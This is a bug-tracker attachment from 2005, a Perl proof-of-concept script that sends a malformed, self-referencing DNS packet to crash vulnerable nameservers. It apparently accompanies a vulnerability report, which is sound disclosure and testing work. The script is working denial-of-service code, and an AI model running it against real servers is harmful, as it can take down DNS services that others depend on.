Attachment 28192 Details for Bug 64986

checkrecurse-2.pl

checkrecurse-2.pl (text/plain), 3.05 KB, created by Thomas Biege on 2005-02-04 01:04:51 UTC

(hide)

Description:

Filename:

MIME Type:

Creator: Thomas Biege

Created: 2005-02-04 01:04:51 UTC

Size: 3.05 KB

patch

obsolete

>#!/usr/bin/perl
>#
># Copyright (c) 2005 Crown Copyright ("the copyright"). All rights
># are reserved and any license is subject to written agreement and 
># consent from the owner of the copyright.
>#
># This script was derived from the original script, sendresponse.pl,
># written by Roy Arends. Under the terms of redistribution, the original
># copyright notice, the list of conditions and the disclaimer are
># retained and displayed below.
>#
># The copyright notice, the list of conditions and the disclaimer for
># the original script, sendresponse.pl -
>#
># Copyright (c) 2004 Roy Arends.  All rights reserved.
>#
># Redistribution and use in source and binary forms, with or without
># modification, are permitted provided that the following conditions
># are met:
>#
># 1. Redistributions of source code must retain the above copyright
>#    notice, this list of conditions and the following disclaimer.
># 2. Redistributions in binary form must reproduce the above copyright
>#    notice, this list of conditions and the following disclaimer in the
>#    documentation and/or other materials provided with the distribution.
># 3. The name of the authors may not be used to endorse or promote products
>#    derived from this software without specific prior written permission.
>#
># THIS SOFTWARE IS PROVIDED BY THE AUTHORS ``AS IS'' AND ANY EXPRESS OR
># IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
># OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
># IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY DIRECT, INDIRECT,
># INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
># NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
># DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
># THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
># (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
># THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
>
>use IO::Socket;
>use IO::Select;
>use Getopt::Std;
>use vars qw/ %opt /;
>
>$opt{p}=53;
>$opt{s}=8888;
>
>my $progname="checkrecurse-2.pl";
>getopts('p:s:',\%opt);
>unless ($#ARGV==0) {usage();exit(1);}
>
>my $s=IO::Socket::INET->new(LocalPort=>$opt{s},Proto=>"udp") or die "no sockets\n";
>my $a=sockaddr_in($opt{p},inet_aton($ARGV[0]));
>my $sel=IO::Select->new($s);
>
>#Send a DNS message of 0x04test0xc0 to the server
>
>$s->send(pack("H44","0011010000010000000000000474657374cc00010001"),0,$a);
>
>#If a DNS product is vulnerable, the server will terminate abnormally on receiving the 
>#above malformed DNS message. 
>#
>#Please note that it may require several execution of this program before any results
>#can be visible.
>
>sub usage
>{
>    print STDERR <<EOF;
>Usage: $progname [-p port] [-s srcport] server
>Where: server is an ip address 
>       or '-' to read list of servers from stdin
>       -p port    (nameserver is on this port) [$opt{p}]
>       -s srcport (set the source port) [$opt{s}]
>EOF
>        exit 2;                                                        
>}

Actions: View

Attachments on bug 64986: 27762 | 28192 | 28193